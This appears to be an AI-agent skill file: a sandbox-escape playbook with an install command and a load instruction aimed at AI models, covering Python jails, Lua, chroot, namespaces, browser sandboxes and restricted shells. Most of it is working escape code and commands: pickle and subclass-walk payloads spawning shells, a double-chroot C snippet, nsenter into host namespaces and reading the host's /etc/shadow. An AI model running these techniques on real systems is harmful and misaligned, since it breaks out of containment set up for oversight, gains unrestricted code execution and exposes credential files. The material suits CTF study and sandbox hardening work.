sandbox-escape-techniques

Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.

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Install skill "sandbox-escape-techniques" with this command: npx skills add yaklang/hack-skills/yaklang-hack-skills-sandbox-escape-techniques

SKILL: Sandbox Escape — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.

0. RELATED ROUTING

Advanced References

  • PYTHON_SANDBOX_ESCAPE.md — Full pyjail methodology: __builtins__ recovery, keyword bypass, AST bypass, pickle escape
  • SECCOMP_BYPASS.md — Architecture confusion, io_uring bypass, ptrace bypass, allowed syscall chaining

1. SANDBOX TYPE IDENTIFICATION

Sandbox TypeIndicatorsTypical Context
Python sandbox (pyjail)Limited builtins, filtered keywords, exec/eval availableCTF, online judges, Jupyter
Lua sandboxNo os, io modules; restricted metatablesGame scripting, config
seccompsyscall filtering, prctl(PR_SET_SECCOMP)CTF pwn, container hardening
chrootChanged root filesystem, limited /proc accessLegacy isolation
Docker/containerNamespaces, cgroups, reduced capabilitiesCloud, microservices
Browser (renderer)OS-level sandbox (seccomp-bpf + namespaces on Linux)Chrome, Firefox
Namespace isolationPID/mount/network/user namespaceContainer runtimes

2. PYTHON SANDBOX ESCAPE (OVERVIEW)

See PYTHON_SANDBOX_ESCAPE.md for full methodology.

Quick Reference

TechniqueOne-Liner
Subclass walk().__class__.__bases__[0].__subclasses__() → find os._wrap_close__init__.__globals__['system']
Import recovery__builtins__.__import__('os').system('sh')
getattr bypassgetattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os')
chr constructioneval(chr(95)+chr(95)+'import'+chr(95)+chr(95))
Pickle escapepickle.loads(b"cos\nsystem\n(S'sh'\ntR.")
Code objectConstruct types.CodeType(...) then exec() with custom bytecode

3. LUA SANDBOX ESCAPE

Restricted Environment Bypass

-- If debug library available:
debug.getinfo(1)                    -- information leakage
debug.getregistry()                 -- access global registry
debug.getupvalue(func, 1)           -- read closed-over variables
debug.setupvalue(func, 1, new_val)  -- overwrite upvalues

-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io

-- If loadstring available:
loadstring("os.execute('sh')")()

-- If string.dump available:
-- Dump function bytecode, patch it, load modified function

-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals

Lua FFI Escape (LuaJIT)

-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")

-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry

4. CHROOT ESCAPE

TechniqueConditionMethod
Open fd to real rootFile descriptor leaked from outside chrootfchdir(leaked_fd) then chroot(".")
Double chrootProcess is root inside chrootmkdir("x"); chroot("x"); chdir("../../../..")
TIOCSTI ioctlTerminal access (fd 0 is a TTY)Inject keystrokes to parent shell via ioctl(0, TIOCSTI, &c)
/proc access/proc mounted inside chroot/proc/1/root/ → access real root filesystem
ptraceCAP_SYS_PTRACEAttach to process outside chroot
Mount namespacePrivilegedMount real root into chroot

Double Chroot Escape

// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape");          // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot(".");                     // now at real root
execl("/bin/sh", "sh", NULL);

5. BROWSER SANDBOX ESCAPE (OVERVIEW)

Chrome Sandbox Architecture (Linux)

Renderer Process:
  ├── seccomp-bpf (syscall filter)
  ├── PID namespace (isolated PIDs)
  ├── Network namespace (no direct network)
  ├── Mount namespace (minimal filesystem)
  └── Reduced capabilities (no CAP_SYS_ADMIN etc.)

Escape Vectors

VectorDescription
Mojo IPC bugUAF or type confusion in Mojo interface handler in browser process
Shared memory corruptionCorrupt shared memory segments between renderer and browser
GPU process bugExploit GPU process (less sandboxed) as stepping stone
Kernel exploitEscape directly via kernel vulnerability (bypasses all sandboxing)
Signal handlingRace condition in signal delivery across sandbox boundary

Mojo Interface Attack Pattern

1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access

6. NAMESPACE ESCAPE

User Namespace Escalation

# If allowed to create user namespaces (unprivileged):
unshare -Urm  # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfiguration

PID Namespace Escape

# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host access

Mount Namespace Tricks

# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/  # host root filesystem
cat /proc/1/root/etc/shadow  # read host files

# If can mount:
mount -t proc proc /proc
# Access host /proc entries

7. RBASH / RESTRICTED SHELL ESCAPE

TechniqueMethod
vi/vim:!/bin/bash or :set shell=/bin/bash then :shell
less/more!/bin/bash
awkawk 'BEGIN {system("/bin/bash")}'
findfind / -exec /bin/bash \;
python/perl/rubypython -c 'import pty;pty.spawn("/bin/bash")'
sshssh user@host -t /bin/bash
Environmentexport PATH=/usr/bin:/bin; /bin/bash
cpCopy /bin/bash to allowed directory
gitgit help config → then !/bin/bash in pager
Encoding`echo /bin/bash

8. DECISION TREE

What type of sandbox?
├── Python sandbox (pyjail)?
│   └── See PYTHON_SANDBOX_ESCAPE.md
│       ├── __builtins__ available? → direct import
│       ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│       ├── Keywords filtered? → chr()/getattr() construction
│       └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│   ├── debug library available? → getregistry/getupvalue
│   ├── FFI available (LuaJIT)? → ffi.C.system()
│   ├── loadstring available? → load arbitrary code
│   └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│   └── See SECCOMP_BYPASS.md
│       ├── Architecture confusion (32-bit syscalls from 64-bit)
│       ├── Allowed syscalls → ORW chain
│       ├── io_uring allowed? → bypass via io_uring
│       └── ptrace allowed? → debug child process
│
├── chroot jail?
│   ├── Root inside chroot? → double chroot escape
│   ├── Leaked fd? → fchdir to real root
│   ├── /proc mounted? → /proc/1/root access
│   └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│   ├── Privileged container? → mount host, load kernel module
│   ├── Mounted docker.sock? → docker API → escape
│   ├── See ../container-escape-techniques/SKILL.md
│   └── Kernel exploit → full escape
│
├── Browser sandbox?
│   ├── Have renderer RCE? → target Mojo IPC for browser escape
│   ├── GPU process accessible? → less-sandboxed stepping stone
│   └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
    └── Find any interactive program (vi, less, python, awk, git)

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